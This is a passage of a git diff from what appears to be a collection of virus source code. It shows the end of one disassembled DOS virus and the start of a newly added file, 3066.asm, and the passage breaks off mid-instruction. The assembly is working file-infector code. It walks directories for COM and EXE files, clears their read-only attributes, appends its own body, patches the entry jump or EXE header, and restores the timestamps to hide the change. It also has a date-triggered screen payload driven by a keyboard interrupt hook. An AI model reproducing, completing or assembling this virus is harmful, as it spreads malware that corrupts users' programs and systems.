+ pop si + pop es + pop ds + pop cx + jmp loc_76 ; (0BCF) +loc_65: ; xref 6FB8:0AFE + jmp short loc_60 ; (0A74) + push ax + mov byte ptr cs:[979h],0 ; (6FB8:0979=75h) + mov al,byte ptr cs:[972h] ; (6FB8:0972=0BFh) + test al,60h ; '`' + jnz loc_65 ; Jump if not zero + test al,80h + jz loc_68 ; Jump if zero + cmp word ptr cs:[97Eh],0 ; (6FB8:097E=0EDE8h) + je loc_66 ; Jump if equal + inc word ptr cs:[97Eh] ; (6FB8:097E=0EDE8h) + cmp word ptr cs:[97Eh],444h ; (6FB8:097E=0EDE8h) + jl loc_66 ; Jump if < + call sub_19 ; (0C25) + jmp loc_76 ; (0BCF) +loc_66: ; xref 6FB8:0B0A, 0B18 + test al,18h + jz loc_67 ; Jump if zero + dec word ptr cs:[977h] ; (6FB8:0977=0C00Ah) + jnz loc_67 ; Jump if not zero + and byte ptr cs:[972h],0E7h ; (6FB8:0972=0BFh) + or byte ptr cs:[972h],40h ; (6FB8:0972=0BFh) '@' + test al,8 + jz loc_67 ; Jump if zero + or byte ptr cs:[972h],20h ; (6FB8:0972=0BFh) ' ' +loc_67: ; xref 6FB8:0B22, 0B29, 0B39, 0B4C + jmp loc_76 ; (0BCF) +loc_68: ; xref 6FB8:0B02 + xor byte ptr cs:[972h],1 ; (6FB8:0972=0BFh) + test al,1 + jz loc_67 ; Jump if zero + push bx + push si + push ds + mov ds,word ptr cs:[97Ch] ; (6FB8:097C=5E5Fh) + xor si,si ; Zero register + mov byte ptr cs:[96Eh],0 ; (6FB8:096E=8Bh) +loc_69: ; xref 6FB8:0BB5 + mov bx,cs:data_54[si] ; (6FB8:0105=0CD09h) + or bx,bx ; Zero ? + jz loc_70 ; Jump if zero + cmp byte ptr [bx+si],20h ; ' ' + jne loc_70 ; Jump if not equal + cmp byte ptr ds:data_31e[bx+si],20h ; (5E5F:FF60=0FFh) ' ' + je loc_70 ; Jump if equal + mov ax,720h + xchg ax,ds:data_31e[bx+si] ; (5E5F:FF60=0FFFFh) + mov [bx+si],ax + add bx,0A0h +loc_70: ; xref 6FB8:0B65, 0B6A, 0B71 + cmp bx,data_30e ; (5E5F:0FA0=0FFh) + je loc_71 ; Jump if equal + cmp byte ptr [bx+si],20h ; ' ' + jne loc_71 ; Jump if not equal + jnz loc_74 ; Jump if not zero +loc_71: ; xref 6FB8:0B84, 0B89 + mov bx,data_29e ; (5E5F:0F00=0FFh) +loc_72: ; xref 6FB8:0BA2 + cmp byte ptr [bx+si],20h ; ' ' + jne loc_73 ; Jump if not equal + cmp byte ptr ds:data_31e[bx+si],20h ; (5E5F:FF60=0FFh) ' ' + jne loc_74 ; Jump if not equal +loc_73: ; xref 6FB8:0B93 + sub bx,0A0h + or bx,bx ; Zero ? + jnz loc_72 ; Jump if not zero +loc_74: ; xref 6FB8:0B8B, 0B9A + mov cs:data_54[si],bx ; (6FB8:0105=0CD09h) + or word ptr cs:[96Eh],bx ; (6FB8:096E=0F28Bh) + add si,2 + cmp si,0A0h + jne loc_69 ; Jump if not equal + cmp byte ptr cs:[96Eh],0 ; (6FB8:096E=8Bh) + jne loc_75 ; Jump if not equal + or byte ptr cs:[972h],80h ; (6FB8:0972=0BFh) + mov word ptr cs:[97Eh],1 ; (6FB8:097E=0EDE8h) +loc_75: ; xref 6FB8:0BBD + pop ds + pop si + pop bx +loc_76: ; xref 6FB8:0AEC, 0B1D, 0B41 + pop ax +;* jmp far ptr loc_90 ;*(FC00:3F4D) + db 0EAh, 4Dh, 3Fh, 00h,0FCh +loc_77: ; xref 6FB8:0C32 + mov al,20h ; ' ' + out 20h,al ; port 20h, 8259-1 int command + ; al = 20h, end of interrupt + pop ax + iret ; Interrupt return + db 50h,0E4h, 60h, 2Eh,0A2h, 7Ah + db 09h,0E4h, 61h, 8Ah,0E0h, 0Ch + db 80h,0E6h, 61h, 8Ah,0C4h,0E6h + db 61h, 2Eh, 80h, 3Eh, 79h, 09h + db 00h, 2Eh,0C6h, 06h, 79h, 09h + db 01h, 75h,0D9h, 2Eh,0A0h, 7Ah + db 09h, 3Ch,0F0h, 74h,0D1h, 24h + db 7Fh, 2Eh, 3Ah, 06h, 7Bh, 09h + db 2Eh,0A2h, 7Bh, 09h, 74h,0C4h + db 2Eh, 83h, 3Eh, 7Eh, 09h, 00h + db 74h, 07h, 2Eh,0C7h, 06h, 7Eh + db 09h, 01h, 00h,0E8h, 02h, 00h + db 0EBh,0B0h + +; +; SUBROUTINE +; +; Called from: 6FB8:0B1A +; + +sub_19 proc near + mov word ptr cs:[977h],28h ; (6FB8:0977=0C00Ah) + test byte ptr cs:[972h],80h ; (6FB8:0972=0BFh) + jz loc_77 ; Jump if zero + mov byte ptr cs:[970h],1 ; (6FB8:0970=0Eh) + push bx + push si + push ds + mov ds,word ptr cs:[97Ch] ; (6FB8:097C=5E5Fh) + test byte ptr cs:[972h],10h ; (6FB8:0972=0BFh) + jnz loc_81 ; Jump if not zero + or byte ptr cs:[972h],10h ; (6FB8:0972=0BFh) + xor si,si ; Zero register +loc_78: ; xref 6FB8:0C77 + mov bx,data_29e ; (5E5F:0F00=0FFh) +loc_79: ; xref 6FB8:0C5E + cmp byte ptr [bx+si],20h ; ' ' + je loc_80 ; Jump if equal + sub bx,0A0h + jnc loc_79 ; Jump if carry=0 + mov bx,0F00h +loc_80: ; xref 6FB8:0C58 + add bx,data_28e ; (5E5F:00A0=0FFh) + mov cs:data_54[si],bx ; (6FB8:0105=0CD09h) + mov word ptr cs:[980h][si],bx ; (6FB8:0980=0E8FBh) + inc si + inc si + cmp si,data_37e ; (6FB8:00A0=0) + jne loc_78 ; Jump if not equal +loc_81: ; xref 6FB8:0C48 + xor si,si ; Zero register +loc_82: ; xref 6FB8:0CE4 + cmp cs:data_54[si],0FA0h ; (6FB8:0105=0CD09h) + je loc_88 ; Jump if equal + mov bx,word ptr cs:[980h][si] ; (6FB8:0980=0E8FBh) + mov ax,[bx+si] + cmp ax,word ptr cs:[0CF5h][bx+si] ; (6FB8:0CF5=0F5BEh) + jne loc_84 ; Jump if not equal + push bx +loc_83: ; xref 6FB8:0CA0, 0CA4 + or bx,bx ; Zero ? + jz loc_86 ; Jump if zero + sub bx,0A0h + cmp ax,word ptr cs:[0CF5h][bx+si] ; (6FB8:0CF5=0F5BEh) + jne loc_83 ; Jump if not equal + cmp ax,[bx+si] + je loc_83 ; Jump if equal + pop bx +loc_84: ; xref 6FB8:0C90 + or bx,bx ; Zero ? + jnz loc_85 ; Jump if not zero + mov word ptr [si],720h + jmp short loc_87 ; (0CCB) +loc_85: ; xref 6FB8:0CA9 + mov ax,[bx+si] + mov ds:data_31e[bx+si],ax ; (5E5F:FF60=0FFFFh) + mov word ptr [bx+si],720h + sub word ptr cs:[980h][si],0A0h ; (6FB8:0980=0E8FBh) + mov byte ptr cs:[970h],0 ; (6FB8:0970=0Eh) + jmp short loc_88 ; (0CDE) +loc_86: ; xref 6FB8:0C95 + pop bx +loc_87: ; xref 6FB8:0CAF + mov bx,cs:data_54[si] ; (6FB8:0105=0CD09h) + add bx,0A0h + mov cs:data_54[si],bx ; (6FB8:0105=0CD09h) + mov word ptr cs:[980h][si],bx ; (6FB8:0980=0E8FBh) +loc_88: ; xref 6FB8:0C82, 0CC8 + inc si + inc si + cmp si,0A0h + jne loc_82 ; Jump if not equal + cmp byte ptr cs:[970h],0 ; (6FB8:0970=0Eh) + je loc_89 ; Jump if equal + push es + push di + push cx + push ds + pop es + push cs + pop ds + mov si,offset ds:[0CF5h] ; (6FB8:0CF5=0BEh) + xor di,di ; Zero register + mov cx,7D0h + rep movsw ; Rep when cx >0 Mov [si] to es:[di] + mov word ptr cs:[977h],0FFDCh ; (6FB8:0977=0C00Ah) + and byte ptr cs:[972h],4 ; (6FB8:0972=0BFh) + or byte ptr cs:[972h],88h ; (6FB8:0972=0BFh) + mov word ptr cs:[97Eh],0 ; (6FB8:097E=0EDE8h) + xor ax,ax ; Zero register + mov ds,ax + mov ax,word ptr cs:[973h] ; (6FB8:0973=984h) + mov ds:data_1e,ax ; (0000:0024=45h) + mov ax,word ptr cs:[975h] ; (6FB8:0975=0AAACh) + mov ds:data_2e,ax ; (0000:0026=3D1h) + pop cx + pop di + pop es +loc_89: ; xref 6FB8:0CEC + pop ds + pop si + pop bx + retn +sub_19 endp + + +; +; SUBROUTINE +; +; Called from: 6FB8:04D3, 04EC +; + +sub_20 proc near + cld ; Clear direction + pop ax + sub ax,si + add ax,di + push es + push ax + rep movsb ; Rep when cx >0 Mov [si] to es:[di] + retf ; Return far +sub_20 endp + + db 90h, 50h,0E8h,0E2h, 03h, 8Bh + +seg_a ends + + + + end start + + CROSS REFERENCE - KEY ENTRY POINTS + + seg:off type label + ---- ---- ---- --------------- + 6FB8:0100 far start + + Interrupt Usage Synopsis + + Interrupt 21h : set default drive dl (0=a:) + Interrupt 21h : get default drive al (0=a:) + Interrupt 21h : set DTA to ds:dx + Interrupt 21h : get date, cx=year, dx=mon/day + Interrupt 21h : set current dir, path @ ds:dx + Interrupt 21h : open file, al=mode,name@ds:dx + Interrupt 21h : close file, bx=file handle + Interrupt 21h : read file, cx=bytes, to ds:dx + Interrupt 21h : write file cx=bytes, to ds:dx + Interrupt 21h : move file ptr, cx,dx=offset + Interrupt 21h : get/set file attrb, nam@ds:dx + Interrupt 21h : get present dir,drive dl,1=a: + Interrupt 21h : get/set file date & time + + I/O Port Usage Synopsis + + Port 20h : 8259-1 int command + diff --git a/0-9/3066.asm b/0-9/3066.asm new file mode 100755 index 0000000..70933dc --- /dev/null +++ b/0-9/3066.asm @@ -0,0 +1,1491 @@ + +PAGE 59,132 + +; +; +; 3066 +; +; Created: 19-Mar-89 +; Version: +; Passes: 5 Analysis Options on: QRS +; +; +; + +.286c + +data_1e equ 24h ; (0000:0024=45h) +data_2e equ 26h ; (0000:0026=3D1h) +data_3e equ 70h ; (0000:0070=0FF53h) +data_4e equ 72h ; (0000:0072=0F000h) +data_5e equ 80h ; (0000:0080=1094h) +data_6e equ 82h ; (0000:0082=123h) +data_7e equ 84h ; (0000:0084=109Eh) +data_8e equ 86h ; (0000:0086=123h) +data_9e equ 90h ; (0000:0090=156h) +data_10e equ 92h ; (0000:0092=44Bh) +data_11e equ 9Ch ; (0000:009C=0BCh) +data_13e equ 0B3h ; (0000:00B3=1) +data_14e equ 0C8h ; (0000:00C8=0DAh) +data_15e equ 0D1h ; (0000:00D1=10h) +data_16e equ 0DFh ; (0000:00DF=1) +data_17e equ 0E3h ; (0000:00E3=1) +data_18e equ 0EAh ; (0000:00EA=123h) +data_19e equ 0ECh ; (0000:00EC=10DAh) +data_20e equ 0EEh ; (0000:00EE=23h) +data_21e equ 0F1h ; (0000:00F1=10h) +data_22e equ 151h ; (0000:0151=0EAh) +data_23e equ 153h ; (0000:0153=0A6F0h) +data_24e equ 155h ; (0000:0155=0EAh) +data_25e equ 449h ; (0000:0449=3) +data_26e equ 972h ; (0000:0972=74h) +data_27e equ 80h ; (00AE:0080=0FFh) +data_28e equ 0A0h ; (5E5F:00A0=0FFh) +data_29e equ 0F00h ; (5E5F:0F00=0FFh) +data_30e equ 0FA0h ; (5E5F:0FA0=0FFh) +data_31e equ 0FF60h ; (5E5F:FF60=0FFFFh) +data_32e equ 0E0h ; (683D:00E0=0FFFFh) +data_33e equ 0 ; (6FB8:0000=0) +data_34e equ 4 ; (6FB8:0004=0) +data_35e equ 5 ; (6FB8:0005=0) +data_36e equ 87h ; (6FB8:0087=0) +data_37e equ 0A0h ; (6FB8:00A0=0) +data_38e equ 0DFh ; (6FB8:00DF=0) +data_39e equ 0E0h ; (6FB8:00E0=0) +data_40e equ 0E2h ; (6FB8:00E2=0) +data_41e equ 0E3h ; (6FB8:00E3=0) +data_42e equ 0E4h ; (6FB8:00E4=0) +data_43e equ 0E6h ; (6FB8:00E6=0) +data_44e equ 0E8h ; (6FB8:00E8=0) +data_45e equ 0EAh ; (6FB8:00EA=0) +data_46e equ 0ECh ; (6FB8:00EC=0) +data_47e equ 0EEh ; (6FB8:00EE=0) +data_48e equ 0EFh ; (6FB8:00EF=0) +data_49e equ 0F1h ; (6FB8:00F1=0) +data_50e equ 0F3h ; (6FB8:00F3=0) +data_51e equ 0F5h ; (6FB8:00F5=0) +data_93e equ 100h ; (7188:0100=0) +data_94e equ 0E2h ; (969B:00E2=0) + +seg_a segment byte public + assume cs:seg_a, ds:seg_a + + + org 100h + +3066 proc far + +start: + jmp loc_5 ; (0243) + db 01h,0B4h +data_54 dw 0CD09h ; Data table (indexed access) + ; xref 6FB8:0ADC, 0B5E, 0BA4, 0C67 + ; 0C7B, 0CCB, 0CD4 + db 21h,0B8h, 00h, 4Ch,0CDh, 21h + db 'This program only exists to beco' + + + + + + db 'me infected - COM version', 0Dh, 0Ah + + + + + db '$' + db 8Dh, 16h, 0Dh,0FFh,0FFh, 00h + db 01h, 8Ch +data_56 dw 4D10h ; Data table (indexed access) + ; xref 6FB8:0270, 02DC, 046C +data_57 dw 6FB8h ; Data table (indexed access) + ; xref 6FB8:0276, 02E0, 0470 +data_58 db 0 ; Data table (indexed access) + ; xref 6FB8:0387, 03C8, 0608, 06A4 + db 8Dh, 16h, 0Dh,0FFh,0FFh, 09h + db 0CDh, 21h,0B8h, 00h, 4Ch,0CDh + db '!This program on', 0Dh, 0Ah, '$' + + + + db 27 dup (0) + db 50h, 4Ch, 49h, 43h + db 60 dup (0) + db 01h, 3Fh + db 7 dup (3Fh) + db 43h, 4Fh, 4Dh, 20h, 00h + db 7 dup (0) + db 20h, 96h, 66h,0D7h, 12h, 4Ch + db 00h, 00h, 00h + db 'TSTJ3066.COM' + + db 00h, 00h, 01h, 3Fh + db 10 dup (3Fh) + db 10h, 05h + db 7 dup (0) + db 20h,0E9h, 11h,0B5h, 12h,0F6h + db 48h, 02h, 00h + db 'CAT-TWO.ARC' + + db 00h, 00h, 00h, 00h,0BCh, 0Eh + db 00h, 00h, 20h, 00h, 72h, 49h + db 73h, 12h,0EBh, 04h,0DDh, 0Ch + db 00h, 00h, 00h, 51h, 59h, 8Bh + db 0Fh, 20h, 00h + db 56h, 47h, 31h +loc_5: ; xref 6FB8:0100 + jmp short loc_6 ; (0247) + db 0F5h, 0Bh +loc_6: ; xref 6FB8:0243 + call sub_17 ; (08BB) + call sub_15 ; (0875) + mov ah,19h + int 21h ; DOS Services ah=function 19h + ; get default drive al (0=a:) + mov ds:data_22e[si],si ; (0000:0151=0EAh) + add word ptr ds:data_22e[si],884h ; (0000:0151=0EAh) + mov ds:data_23e[si],cs ; (0000:0153=0A6F0h) + mov ds:data_17e[si],al ; (0000:00E3=1) + call sub_10 ; (076E) + mov dl,ds:data_94e[di] ; (969B:00E2=0) + mov ax,ds + push cs + pop ds + jnz loc_8 ; Jump if not zero + mov data_56[si],984h ; (6FB8:0151=4D10h) + mov data_57[si],ax ; (6FB8:0153=6FB8h) + cmp dl,0FFh + je loc_8 ; Jump if equal + mov ah,0Eh + int 21h ; DOS Services ah=function 0Eh + ; set default drive dl (0=a:) +loc_8: ; xref 6FB8:026E, 027D + mov byte ptr ds:[872h][si],80h ; (6FB8:0872=0FFh) + mov word ptr ds:data_48e[si],0 ; (6FB8:00EF=0) + mov ah,2Ah ; '*' + int 21h ; DOS Services ah=function 2Ah + ; get date, cx=year, dx=mon/day + cmp cx,7C4h + jge loc_9 ; Jump if > or = + jmp short loc_12 ; (02C2) + db 0BDh, 09h,0BCh, 0Eh, 00h +loc_9: ; xref 6FB8:0296 + jg loc_10 ; Jump if > + cmp dh,0Ch + jl loc_12 ; Jump if < + cmp dl,5 + jl loc_12 ; Jump if < + cmp dl,1Ch + jl loc_11 ; Jump if < +loc_10: ; xref 6FB8:029F + mov word ptr ds:[877h][si],0FFDCh ; (6FB8:0877=8EC0h) + mov byte ptr ds:[872h][si],88h ; (6FB8:0872=0FFh) +loc_11: ; xref 6FB8:02AE + cmp byte ptr [si+4],0F8h + nop ;*ASM fixup - displacement + jae loc_13 ; Jump if above or = +loc_12: ; xref 6FB8:0298, 02A4, 02A9, 0356 + mov byte ptr cs:data_47e[si],0 ; (6FB8:00EE=0) + jmp loc_30 ; (0460) + cmp byte ptr [si+4],0F8h + nop ;*ASM fixup - displacement + jae loc_13 ; Jump if above or = + or byte ptr ds:[872h][si],4 ; (6FB8:0872=0FFh) +loc_13: ; xref 6FB8:02C0, 02D0 + mov byte ptr ds:data_38e[si],0 ; (6FB8:00DF=0) + mov dx,data_56[si] ; (6FB8:0151=4D10h) + mov ds,data_57[si] ; (6FB8:0153=6FB8h) + mov ax,4300h + call sub_1 ; (0436) + jc loc_14 ; Jump if carry Set + mov cs:data_51e[si],cx ; (6FB8:00F5=0) + and cl,0FEh + mov ax,4301h + call sub_1 ; (0436) + jc loc_14 ; Jump if carry Set + mov ax,3D02h + int 21h ; DOS Services ah=function 3Dh + ; open file, al=mode,name@ds:dx + jc loc_14 ; Jump if carry Set + push cs + pop ds + mov ds:data_48e[si],ax ; (6FB8:00EF=0) + mov bx,ax + mov ax,5700h + int 21h ; DOS Services ah=function 57h + ; get/set file date & time + mov ds:data_49e[si],cx ; (6FB8:00F1=0) + mov ds:data_50e[si],dx ; (6FB8:00F3=0) + dec byte ptr [si+4] + nop ;*ASM fixup - displacement + mov dx,word ptr ds:[880h][si] ; (6FB8:0880=687h) + mov cx,word ptr ds:[882h][si] ; (6FB8:0882=90h) + add dx,4 + nop ;*ASM fixup - sign extn byte + adc cx,0 + mov ax,4200h + int 21h ; DOS Services ah=function 42h + ; move file ptr, cx,dx=offset +loc_14: ; xref 6FB8:02EA, 02FA, 0301 + push cs + pop ds + test byte ptr ds:[872h][si],4 ; (6FB8:0872=0FFh) + jz loc_15 ; Jump if zero + call sub_3 ; (051F) + jmp loc_30 ; (0460) +loc_15: ; xref 6FB8:0337 + xor dl,dl ; Zero register + mov ah,47h ; 'G' + push si + add si,46h + int 21h ; DOS Services ah=function 47h + ; get present dir,drive dl,1=a: + pop si + cmp byte ptr ds:data_47e[si],0 ; (6FB8:00EE=0) + jne loc_16 ; Jump if not equal + call sub_2 ; (0444) + jnc loc_17 ; Jump if carry=0 +loc_16: ; xref 6FB8:034F + jmp loc_12 ; (02C2) +loc_17: ; xref 6FB8:0354, 0433 + mov dx,si + add dx,data_36e ; (6FB8:0087=0) + mov ah,1Ah + int 21h ; DOS Services ah=function 1Ah + ; set DTA to ds:dx + mov word ptr [si+5],2E2Ah + mov word ptr [si+7],4F43h + mov word ptr [si+9],4Dh + mov ah,4Eh ; 'N' + mov dx,si + add dx,5 +loc_18: ; xref 6FB8:03A7 + mov cx,20h + call sub_1 ; (0436) + jc loc_21 ; Jump if carry Set + mov dx,si + add dx,0A5h + mov data_58[si],0 ; (6FB8:0155=0) + call sub_4 ; (0535) + jc loc_20 ; Jump if carry Set + call sub_3 ; (051F) +loc_19: ; xref 6FB8:039C + jmp loc_29 ; (0454) +loc_20: ; xref 6FB8:038F + cmp byte ptr ds:data_20e[si],0 ; (0000:00EE=23h) + jne loc_19 ; Jump if not equal + cmp byte ptr ds:data_24e[si],0 ; (0000:0155=0EAh) + jne loc_25 ; Jump if not equal + mov ah,4Fh ; 'O' + jmp short loc_18 ; (0379) +loc_21: ; xref 6FB8:037F + mov word ptr [si+7],5845h + mov word ptr [si+9],45h + mov ah,4Eh ; 'N' + mov dx,si + add dx,5 +loc_22: ; xref 6FB8:03E9 + mov cx,20h + call sub_1 ; (0436) + jc loc_25 ; Jump if carry Set + mov dx,si + add dx,0A5h + mov data_58[si],0 ; (6FB8:0155=0) + call sub_4 ; (0535) + jc loc_24 ; Jump if carry Set + call sub_3 ; (051F) +loc_23: ; xref 6FB8:03DE + jmp short loc_29 ; (0454) + db 90h +loc_24: ; xref 6FB8:03D0 + cmp byte ptr cs:data_47e[si],0 ; (6FB8:00EE=0) + jne loc_23 ; Jump if not equal + cmp byte ptr ds:data_24e[si],0 ; (0000:0155=0EAh) + jne loc_25 ; Jump if not equal + mov ah,4Fh ; 'O' + jmp short loc_22 ; (03BA) +loc_25: ; xref 6FB8:03A3, 03C0, 03E5 + call sub_2 ; (0444) + mov dx,si + add dx,data_13e ; (0000:00B3=1) + mov ah,1Ah + int 21h ; DOS Services ah=function 1Ah + ; set DTA to ds:dx +loc_26: ; xref 6FB8:0424 + mov ah,4Fh ; 'O' + mov cx,10h + cmp byte ptr ds:data_16e[si],0 ; (0000:00DF=1) + jne loc_27 ; Jump if not equal + mov byte ptr ds:data_16e[si],1 ; (0000:00DF=1) + mov word ptr [si+5],2E2Ah + mov word ptr [si+7],2Ah + mov ah,4Eh ; 'N' + mov dx,si + add dx,5 +loc_27: ; xref 6FB8:0402 + call sub_1 ; (0436) + jc loc_29 ; Jump if carry Set + test byte ptr ds:data_14e[si],10h ; (0000:00C8=0DAh) + jz loc_26 ; Jump if zero + mov dx,si + add dx,data_15e ; (0000:00D1=10h) + mov ah,3Bh ; ';' + call sub_1 ; (0436) + jc loc_29 ; Jump if carry Set + jmp loc_17 ; (0359) + +3066 endp + +; +; SUBROUTINE +; +; Called from: 6FB8:02E7, 02F7, 037C, 03BD, 041A, 042E, 0450 +; 0571, 0582, 058A +; + +sub_1 proc near + int 21h ; DOS Services ah=function 43h + ; get/set file attrb, nam@ds:dx + jc loc_ret_28 ; Jump if carry Set + test byte ptr cs:data_47e[si],0FFh ; (6FB8:00EE=0) + jz loc_ret_28 ; Jump if zero + stc ; Set carry flag + +loc_ret_28: ; xref 6FB8:0438, 0440 + retn +sub_1 endp + + +; +; SUBROUTINE +; +; Called from: 6FB8:0351, 03EB, 0454 +; + +sub_2 proc near + mov word ptr [si+5],5Ch + mov dx,si + add dx,5 + mov ah,3Bh ; ';' + call sub_1 ; (0436) + retn +sub_2 endp + +loc_29: ; xref 6FB8:0394, 03D5, 041D, 0431 + call sub_2 ; (0444) + mov dx,si + add dx,46h + mov ah,3Bh ; ';' + int 21h ; DOS Services ah=function 3Bh + ; set current dir, path @ ds:dx +loc_30: ; xref 6FB8:02C8, 033C + mov bx,ds:data_48e[si] ; (6FB8:00EF=0) + or bx,bx ; Zero ? + jz loc_32 ; Jump if zero + mov cx,ds:data_51e[si] ; (6FB8:00F5=0) + mov dx,data_56[si] ; (6FB8:0151=4D10h) + mov ds,data_57[si] ; (6FB8:0153=6FB8h) + cmp cx,20h + je loc_31 ; Jump if equal + mov ax,4301h + int 21h ; DOS Services ah=function 43h + ; get/set file attrb, nam@ds:dx +loc_31: ; xref 6FB8:0477 + push cs + pop ds + mov cx,ds:data_49e[si] ; (6FB8:00F1=0) + mov dx,ds:data_50e[si] ; (6FB8:00F3=0) + mov ax,5701h + int 21h ; DOS Services ah=function 57h + ; get/set file date & time + mov ah,3Eh ; '>' + int 21h ; DOS Services ah=function 3Eh + ; close file, bx=file handle +loc_32: ; xref 6FB8:0466 + mov dl,ds:data_41e[si] ; (6FB8:00E3=0) + mov ah,0Eh + int 21h ; DOS Services ah=function 0Eh + ; set default drive dl (0=a:) + call sub_16 ; (089A) + pop ax + mov ds:data_39e[si],ax ; (6FB8:00E0=0) + cmp byte ptr [si+3],0FFh + je loc_33 ; Jump if equal + add ax,10h + add [si+2],ax + pop ax + pop ds +;* jmp dword ptr cs:[si] ;*1 entry + db 0FFh, 2Ch +loc_33: ; xref 6FB8:04A5 + call sub_10 ; (076E) + push cs + pop ds + mov ax,[si] + mov word ptr ds:[100h],ax ; (6FB8:0100=40E9h) + mov al,[si+2] + mov byte ptr ds:[102h],al ; (6FB8:0102=1) + jz loc_34 ; Jump if zero + mov bx,ds + add bx,1D0h + mov es,bx + mov di,si + mov dx,si + mov cx,0BFAh + call sub_20 ; (0D32) + mov cx,dx + mov si,dx + dec si + mov di,si + std ; Set direction flag + rep movsb ; Rep when cx >0 Mov [si] to es:[di] + push ds + pop es + mov di,data_93e ; (7188:0100=0) + mov ds,bx + mov si,dx + mov cx,0BFAh + call sub_20 ; (0D32) + mov si,100h + push cs + pop ds + call sub_13 ; (07CD) + mov dx,1D0h +loc_34: ; xref 6FB8:04C2 + mov di,cs + add di,dx + mov word ptr [si+5],100h + mov [si+7],di + pop ax + pop ds + mov ds,di + mov es,di + mov ss,di + xor bx,bx ; Zero register + xor cx,cx ; Zero register + xor bp,bp ; Zero register +;* jmp dword ptr cs:[si+5] ;*1 entry + db 0FFh, 6Ch, 05h +loc_35: ; xref 6FB8:0574, 0585, 058D + mov byte ptr cs:data_47e[si],0 ; (6FB8:00EE=0) + retn + +; +; SUBROUTINE +; +; Called from: 6FB8:0339, 0391, 03D2 +; + +sub_3 proc near + mov bx,ds:data_48e[si] ; (6FB8:00EF=0) + or bx,bx ; Zero ? + jz loc_ret_36 ; Jump if zero + mov dx,si + add dx,data_34e ; (6FB8:0004=0) + nop ;*ASM fixup - sign extn byte + mov cx,1 + mov ah,40h ; '@' + int 21h ; DOS Services ah=function 40h + ; write file cx=bytes, to ds:dx + +loc_ret_36: ; xref 6FB8:0525 + retn +sub_3 endp + + +; +; SUBROUTINE +; +; Called from: 6FB8:038C, 03CD +; + +sub_4 proc near + push dx + mov ah,19h + int 21h ; DOS Services ah=function 19h + ; get default drive al (0=a:) + add al,41h ; 'A' + mov ah,3Ah ; ':' + mov word ptr ds:[884h][si],ax ; (6FB8:0884=8489h) + mov byte ptr ds:[886h][si],5Ch ; (6FB8:0886=0EAh) '\' + push si + add si,offset ds:[887h] ; (6FB8:0887=0) + mov ah,47h ; 'G' + mov di,si + xor dl,dl ; Zero register + int 21h ; DOS Services ah=function 47h + ; get present dir,drive dl,1=a: + pop si + dec di +loc_37: ; xref 6FB8:055B + inc di + mov al,[di] + or al,al ; Zero ? + jnz loc_37 ; Jump if not zero + pop bx + mov byte ptr [di],5Ch ; '\' + inc di + mov dx,bx +loc_38: ; xref 6FB8:056C + mov al,[bx] + mov [di],al + inc bx + inc di + or al,al ; Zero ? + jnz loc_38 ; Jump if not zero + +; External Entry into Subroutine +; +; Called from: 6FB8:097E + +sub_5: + mov ax,4300h + call sub_1 ; (0436) + jc loc_35 ; Jump if carry Set + mov cs:data_42e[si],cx ; (6FB8:00E4=0) + and cx,0FEh + mov ax,4301h + call sub_1 ; (0436) + jc loc_35 ; Jump if carry Set + mov ax,3D02h + call sub_1 ; (0436) + jc loc_35 ; Jump if carry Set + mov bx,ax + push ds + push dx + call sub_6 ; (05BD) + pop dx + pop ds + pushf ; Push flags + mov cx,cs:data_42e[si] ; (6FB8:00E4=0) + cmp cx,20h + je loc_39 ; Jump if equal + mov ax,4301h + int 21h ; DOS Services ah=function 43h + ; get/set file attrb, nam@ds:dx +loc_39: ; xref 6FB8:05A1 + mov cx,cs:data_43e[si] ; (6FB8:00E6=0) + mov dx,cs:data_44e[si] ; (6FB8:00E8=0) + mov ax,5701h + int 21h ; DOS Services ah=function 57h + ; get/set file date & time + mov ah,3Eh ; '>' + int 21h ; DOS Services ah=function 3Eh + ; close file, bx=file handle + popf ; Pop flags + retn +sub_4 endp + + +; +; SUBROUTINE +; +; Called from: 6FB8:0593 +; + +sub_6 proc near + mov ax,5700h + int 21h ; DOS Services ah=function 57h + ; get/set file date & time + push cs + pop ds + mov ds:data_43e[si],cx ; (6FB8:00E6=0) + mov ds:data_44e[si],dx ; (6FB8:00E8=0) + mov dx,si + add dx,0Dh + mov di,dx + mov ah,3Fh ; '?' + mov cx,1Ch + int 21h ; DOS Services ah=function 3Fh + ; read file, cx=bytes, to ds:dx + cmp word ptr [di],5A4Dh + je loc_42 ; Jump if equal + call sub_9 ; (0764) + add ax,0CF5h + jc loc_ret_40 ; Jump if carry Set + cmp byte ptr [di],0E9h + jne loc_41 ; Jump if not equal + mov dx,[di+1] + xor cx,cx ; Zero register + mov ax,4200h + int 21h ; DOS Services ah=function 42h + ; move file ptr, cx,dx=offset + mov dx,di + add dx,1Ch + mov ah,3Fh ; '?' + mov cx,3 + int 21h ; DOS Services ah=function 3Fh + ; read file, cx=bytes, to ds:dx + call sub_7 ; (06AB) + jnc loc_41 ; Jump if carry=0 + mov cs:data_58[si],1 ; (6FB8:0155=0) + +loc_ret_40: ; xref 6FB8:05E6 + retn +loc_41: ; xref 6FB8:05EB, 0606 + call sub_9 ; (0764) + mov word ptr ds:[880h][si],ax ; (6FB8:0880=687h) + mov word ptr ds:[882h][si],dx ; (6FB8:0882=90h) + push ax + mov word ptr [di+3],0FFFFh + mov cx,5 + mov ah,40h ; '@' + mov dx,di + int 21h ; DOS Services ah=function 40h + ; write file cx=bytes, to ds:dx + mov dx,si + add dx,5 + mov cx,0BF5h + mov ah,40h ; '@' + int 21h ; DOS Services ah=function 40h + ; write file cx=bytes, to ds:dx + mov ax,4200h + xor cx,cx ; Zero register + xor dx,dx ; Zero register + int 21h ; DOS Services ah=function 42h + ; move file ptr, cx,dx=offset + mov byte ptr [di],0E9h + pop ax + add ax,0F7h + mov [di+1],ax + mov dx,di + mov cx,3 + mov ah,40h ; '@' + int 21h ; DOS Services ah=function 40h + ; write file cx=bytes, to ds:dx + clc ; Clear carry flag + retn +loc_42: ; xref 6FB8:05DE + cmp word ptr [di+0Ch],0FFFFh + jne loc_43 ; Jump if not equal + push si + mov si,[di+14h] + mov cx,[di+16h] + mov ax,cx + mov cl,ch + xor ch,ch ; Zero register + shr cx,1 ; Shift w/zeros fill + shr cx,1 ; Shift w/zeros fill + shr cx,1 ; Shift w/zeros fill + shr cx,1 ; Shift w/zeros fill + shl ax,1 ; Shift w/zeros fill + shl ax,1 ; Shift w/zeros fill + shl ax,1 ; Shift w/zeros fill + shl ax,1 ; Shift w/zeros fill + add si,ax + adc cx,0 + sub si,3 + sbb cx,0 + mov ax,[di+8] + call sub_8 ; (0751) + add si,ax + adc 